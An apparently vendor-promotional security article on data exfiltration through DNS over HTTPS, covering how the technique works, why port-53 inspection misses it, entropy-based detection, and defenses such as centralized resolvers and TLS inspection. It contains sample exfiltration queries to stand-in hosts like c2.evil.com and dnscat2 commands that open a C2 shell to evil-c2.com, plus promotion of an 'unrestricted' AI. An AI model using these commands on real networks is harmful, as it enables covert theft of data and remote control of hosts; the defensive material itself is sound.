DNS over HTTPS Data Exfiltration: Bypassing Security Controls with DoH

The modern corporate network is a fortress of layered defenses, from next-generation firewalls (NGFWs) to advanced endpoint detection and response (EDR) systems. However, one of the most common blind spots for security teams is the Domain Name System (DNS). For decades, DNS has been the "phonebook of the internet," a foundational service that is almost always permitted through firewalls to ensure connectivity. This ubiquity makes it an ideal candidate for covert communication. DNS over HTTPS (DoH) was designed to improve privacy by encrypting DNS queries, but from a security perspective, it introduces a significant challenge: DNS over HTTPS data exfiltration.
At its core, DoH wraps traditional DNS queries inside encrypted HTTPS sessions (typically on port 443). While this prevents third-party eavesdropping and prevents DNS hijacking, it simultaneously hides the contents of the DNS query from traditional network monitoring tools that rely on inspecting port 53 traffic. When an attacker or a malicious insider intends to leak sensitive data, they can encode that information into a subdomain—such as secret-data.attacker-domain.com—and send a query to a malicious DNS server they control. Because the query is encrypted via DoH, the network administrator sees only generic HTTPS traffic to a known DoH provider (like Cloudflare or Google), masking the true purpose of the connection.
How DNS over HTTPS Data Exfiltration Works
DNS over HTTPS (DoH) utilizes the HTTPS protocol to perform DNS resolution, effectively moving DNS traffic from its own dedicated port (UDP/TCP 53) to the ubiquitous web port (TCP 443). In a data exfiltration scenario, the threat actor does not send data directly to their own server via HTTP; instead, they embed the data within the DNS query itself. This is a form of tunneling where the DNS protocol is used as a transport layer for a different type of data.
The mechanism involves encoding the data to be exfiltrated—such as a credit card number or a password—into a format that resembles a legitimate domain name. For example, instead of sending the string CC_NUMBER: 1234-5678-9012-3456, the attacker might encode it into Base64 and prepend it to a domain they control. The resulting query might look like MTIzNC01Njc4LTkwMTItMzQ1Ng.exfil.evil-domain.com.
When the system attempts to resolve this domain, it initiates a DoH request to a public resolver. The resolver, unable to find the record in its cache, forwards the request to the authoritative name server for evil-domain.com, which is controlled by the attacker. The attacker's server logs the incoming request, extracts the encoded subdomain, and decodes the secret data. Because the entire transaction is wrapped in TLS (Transport Layer Security), the network firewall sees only an encrypted session to a legitimate DoH provider, not the actual exfiltrated content.
From a technical standpoint, this is highly effective because DNS is critical for business operations. Blocking DoH would break web browsing and most cloud services, making it an ideal blind spot for attackers. The stealth of this technique is enhanced by the fact that many legitimate applications already use DoH for privacy reasons, allowing exfiltration traffic to blend in with normal daily activity.
Example of DoH Exfiltration Workflow
To understand this practically, consider a scenario where a piece of malware on an internal workstation wants to send the hostname and internal IP address of a server to an external command-and-control (C2) server.
- Data Collection: The malware gathers the hostname
INT-SRV-01and IP10.0.0.5. - Encoding: It encodes the data into a hex string:
494e542d5352562d30312e31302e302e302e35. - DNS Query: It constructs a DoH query:
https://dns.cloudflare-dns.com/dns-query?name=494e542d5352562d30312e31302e302e302e35.c2.evil.com&type=A. - Transmission: The request is sent over HTTPS. The firewall sees a request to Cloudflare and allows it.
- Reception: The C2 server at
evil.comreceives the query and logs the subdomain, effectively receiving the internal host details.
Why Traditional DNS Inspection Fails to Detect DoH Tunneling
Historically, network security relied on Deep Packet Inspection (DPI) at the gateway to monitor DNS queries. By monitoring port 53, SOC analysts could see every domain requested by internal clients. This allowed them to identify communication with known malicious domains or detect patterns indicative of data exfiltration, such as high-frequency queries to randomized subdomains.
However, the transition to DNS over HTTPS (DoH) renders these legacy inspection tools obsolete. In a DoH-enabled environment, the DNS query is wrapped in a TLS tunnel. The firewall no longer sees a DNS packet; it sees an encrypted HTTPS packet. To the firewall, a DoH query to 8.8.8.8 looks identical to a user visiting a website hosted on the same server. This creates a significant visibility gap.
Furthermore, many DoH providers employ techniques like HTTP/2 and HTTP/3, which multiplex multiple streams over a single connection. This makes it even harder for defenders to isolate specific DNS queries from other web traffic. If an attacker uses a legitimate public DoH resolver, their traffic is lost in the noise of thousands of other users. The legacy approach of "block or allow port 53" is insufficient because the traffic has migrated to port 443.
To combat this, security teams must move from perimeter-based inspection to endpoint-based visibility and advanced traffic analysis. The challenge is not just that the traffic is encrypted, but that the destination is a trusted third party. This "reputation-based" trust model is exactly what attackers exploit to tunnel data out of a network without triggering traditional alarms.
Comparison of Traditional DNS vs. DoH Monitoring
| Feature | Traditional DNS (Port 53) | DNS over HTTPS (Port 443) |
|---|---|---|
| Visibility | Cleartext; visible to DPI | Encrypted; requires TLS decryption |
| Protocol | UDP/TCP | HTTPS (TCP/TLS) |
| Detection | Simple pattern matching on domains | Requires behavioral analysis and entropy checks |
| Firewall Rule | Port-based blocking | Domain-based or application-based blocking |
| Stealth | Low; easily identified by SOC | High; blends with web traffic |
Key Insight: The failure of traditional tools is not due to a lack of capability, but a shift in the protocol stack. Security strategies must evolve from analyzing what protocol is being used to how the protocol is being used.
Detection Strategies for SOC Analysts
Detecting data exfiltration via DoH requires a shift in mindset. Since you cannot simply look at the packet contents, you must analyze the metadata and behavior associated with the HTTPS traffic. SOC analysts can employ several advanced techniques to distinguish between routine DoH queries and covert tunneling.
First, analysts should look for high-entropy subdomains. Legitimate DNS queries typically follow predictable patterns (e.g., www.google.com, api.microsoft.com). In contrast, exfiltration queries often contain long, randomized strings of characters that are encoded data. By calculating the Shannon entropy of the requested hostnames, analysts can flag queries that deviate from the baseline of the network.
Second, temporal analysis is critical. A user or application making a legitimate DoH query will typically do so sporadically as they navigate the web. A tunneling tool, however, often maintains a consistent "heartbeat" or a high volume of queries over a short period to push data out slowly and avoid detection. By analyzing the frequency and timing of HTTPS requests to known DoH providers, analysts can spot these anomalies.
Third, the use of AI-driven security tools can drastically reduce the manual workload. Modern platforms can correlate endpoint logs with network flow data to determine which process is initiating DoH requests. If a known system process is making DoH queries, it is likely legitimate. If an unsigned binary or a script in a temporary folder is initiating the traffic, it warrants immediate investigation.
Automate this: mr7 Agent can run these security assessments automatically on your local machine. Combine it with KaliGPT for AI-powered analysis. Get 10,000 free tokens at mr7.ai.
Technical Detection Example (Python)
Analysts can use simple Python scripts to analyze captured traffic logs for high-entropy domains, which often indicate tunneling. Below is a conceptual example of how entropy can be calculated for a domain string.
python import math from collections import Counter
def calculate_entropy(text): if not text: return 0 counter = Counter(text) length = len(text) # Shannon Entropy formula return -sum((count/length) * math.log2(count/length) for count in counter.values())*
Example domains
legit_domain = "google.com" tunnel_domain = "aXj92kLp1Z0mNqR4sT7uV8wXy.evil-c2-server.net"
print(f"Legit Entropy: {calculate_entropy(legit_domain):.4f}") print(f"Tunnel Entropy: {calculate_entropy(tunnel_domain):.4f}")
Key Insight: High entropy in subdomains is a primary indicator of tunneling. When combined with high request frequency, it provides a strong signal for SOC analysts to investigate further.
Advanced Tunneling Techniques and Tools
Sophisticated actors do not simply send raw data; they use advanced techniques to hide their tracks. One common method is "DNS Slow-Drip," where data is exfiltrated one byte at a time over several days. This bypasses most volume-based threshold alerts. Another technique involves using multiple DoH providers—switching between Cloudflare, Google, and Quad9—to distribute the traffic and avoid creating a spike in requests to a single IP address.
For those conducting offensive operations or red teaming, tools like iodine or dnscat2 are industry standards. dnscat2 specifically allows for the creation of a command-and-control (C2) channel over DNS. It wraps a full shell inside DNS queries, allowing an attacker to execute commands on a compromised host and receive the output back via DNS responses.
To detect such tools, analysts can use the mr7 Agent to automate the scanning of internal endpoints for processes that are spawning unusual network activity. By integrating Dark Web Search, researchers can also cross-reference known C2 domains used by advanced persistent threats (APTs) against their own network logs. This proactive approach allows for the discovery of dormant infections that may be waiting for the right moment to exfiltrate data.
Comparison of DNS Tunneling Tools
| Tool | Primary Use Case | Stealth Level | Complexity | | :--- | :--- | :--- | | dnscat2 | C2 Command Shell | High | Moderate | | iodine | Full VPN over DNS | Medium | High | | mr7 Agent | Security Automation | Professional | Low (AI-Driven) | | Custom Script| Targeted Data Leak | Variable | High |
Example: Using dnscat2 for Exfiltration
An attacker might set up a server to listen for DNS packets. On the victim machine, they run dnscat2 to initiate a connection back to their server. The communication is then tunneled through a legitimate DoH provider to avoid blocking.
bash
On the Attacker Server
ruby dnscat2.rb --dns server
On the Victim Machine (using DoH relay)
./dnscat2 --dns server evil-c2.com
Once the connection is established, the attacker can run commands like whoami or ls /etc/passwd, and the output will be returned encoded in the DNS TXT records of the server, all while appearing as standard HTTPS traffic to the network firewall.
Key Insight: Specialized tools like dnscat2 have pioneered the concepts of DNS tunneling, but today’s AI-driven agents are necessary to detect these patterns at scale within massive corporate networks.
The Role of AI in Detecting DoH Anomalies
As networks grow in complexity, the volume of DNS traffic becomes too vast for human analysts to monitor manually. This is where AI-powered cybersecurity comes into play. Machine learning models can be trained on baseline network behavior to recognize what "normal" DoH traffic looks like for a specific organization.
AI models trained for security, such as those available via mr7.ai, can perform real-time packet analysis and identify subtle anomalies. For instance, an AI model might notice that while the volume of HTTPS traffic is constant, the size of the packets sent to a specific DoH resolver has increased by 15%, or that the queries are being made at perfectly regular intervals—a sign of automated scripting rather than human behavior.
DarkGPT, an unrestricted AI available on the mr7 platform, can be used to analyze suspicious PCAP files. By feeding the AI the metadata of DoH requests, an analyst can ask it to identify patterns that correlate with known data exfiltration frameworks. The AI can distinguish between a user visiting a website and a tool programmatically querying subdomains to leak data.
Furthermore, 0Day Coder can help security engineers write custom scripts to automate the detection of DoH tunneling. Instead of relying on vendor-provided alerts, teams can deploy custom surveillance tools that use entropy analysis and frequency checks to flag suspicious activity in real-time. This combination of AI analysis and custom automation represents the modern standard for SOC operations.
How AI Improves Detection Accuracy
- Baseline Generation: AI learns the unique DNS patterns of a network, including which DoH providers are typically used and at what times.
- Anomaly Detection: It identifies deviations from the baseline, such as a midnight surge in encrypted DNS queries to a non-standard provider.
- Correlation: The AI correlates the DNS anomaly with other events, such as a new process starting on a server or a file being accessed by an unauthorized user.
- Automated Response: Through the mr7 Agent, the system can automatically quarantine a suspected compromised host or alert an analyst with a full context report.
Key Insight: AI transforms the SOC from a reactive posture—waiting for an alert—to a proactive posture where anomalies are detected and investigated before a breach escalates.
Implementing Defenses Against DoH Exfiltration
To defend against the stealthy nature of DoH exfiltration, organizations must implement a strategy of "DNS Visibility." Since you cannot easily block HTTPS traffic without breaking the internet, you must instead manage how DoH is used within your environment.
The first step is the implementation of a centralized DoH resolver. Instead of allowing endpoints to connect to any public DoH provider, the network should be configured to only permit DoH queries to a corporate-controlled resolver. This is typically done by blocking port 443 traffic to known public DoH IP addresses at the perimeter firewall, forcing clients to fall back to the internal DNS infrastructure or use the approved DoH proxy.
Next, the organization should implement TLS inspection (man-in-the-middle decryption) for HTTPS traffic. By decrypting the traffic at the gateway, SOC analysts can see the actual DoH queries being made. This effectively removes the "encryption blind spot" that attackers rely on. Once decrypted, the DNS queries can be passed through the same DPI and entropy-analysis tools that were used for traditional port 53 traffic.
Finally, organizations should employ endpoint monitoring to detect the processes initiating DoH queries. If a query to a public DoH resolver is initiated by chrome.exe, it is likely legitimate. If it is initiated by powershell.exe or a random temporary binary, it requires closer scrutiny. This combination of network-level control and endpoint-level visibility creates a comprehensive defense-in-depth strategy.
Recommended Defense Checklist
| Action | Purpose | Implementation Level |
|---|---|---|
| Mandatory Internal DoH | Forces traffic through a monitored proxy | Network |
| TLS Inspection | Unmasks the contents of HTTPS packets | Gateway |
| Endpoint EDR | Identifies the source process of the query | Host |
| Entropy Logging | Flags randomized subdomains | Analytics |
| C2 Domain Blocklist | Blocks known malicious DoH endpoints | Perimeter |
Key Insight: The most effective defense is not to block all DoH traffic—which is impossible—but to channel it through a visibility layer where it can be inspected and analyzed.
Key Takeaways
- DNS over HTTPS (DoH) hides DNS queries inside encrypted TLS tunnels, rendering traditional port 53 monitoring ineffective.
- Data exfiltration via DoH typically involves encoding sensitive information into subdomains of a researcher- or attacker-controlled domain.
- Detection relies on behavioral analysis, focusing on high entropy in domain names and unusual request frequencies.
- Centralizing DoH resolution within the organization allows for the inspection and filtering of queries before they reach the public internet.
- AI-powered tools like mr7 Agent can automate the detection of tunneling patterns that would be missed by human analysts or legacy tools.
- Combining TLS decryption with entropy analysis is the gold standard for regaining visibility into DNS traffic in a DoH-enabled world.
Frequently Asked Questions
Q: How can I tell if a DNS query is being used for exfiltration?
To detect exfiltration, look for high-entropy subdomains (random character strings) and unusual query volumes to specific domains. Compare the query pattern against a known baseline of legitimate business traffic to identify anomalies.
Q: Is DNS over HTTPS actually more secure for the user?
Yes, DoH prevents ISPs and local network attackers from monitoring or spoofing DNS queries. It enhances privacy and integrity, though it creates a visibility challenge for corporate security teams.
Q: Can I block DoH to force users back to traditional DNS?
While you can block known DoH provider IPs, many modern browsers and OSs have built-in DoH clients that make this difficult. The better approach is to deploy your own controlled DoH resolver.
Q: What is the difference between DoH and DoT?
DNS over TLS (DoT) uses a dedicated port (853), which is easier for firewalls to identify. DNS over HTTPS (DoH) uses port 443, making it indistinguishable from regular web traffic without TLS decryption.
Q: How does AI help in detecting DNS tunneling?
AI models can analyze massive sets of network logs to find subtle patterns—such as specific timing intervals and character distributions—that signal tunneling activity without needing to decrypt every packet.
Stop Manual Testing. Start Using AI.
mr7 Agent automates reconnaissance, exploitation, and reporting while you focus on what matters - finding critical vulnerabilities. Plus, use KaliGPT and 0Day Coder for real-time AI assistance.


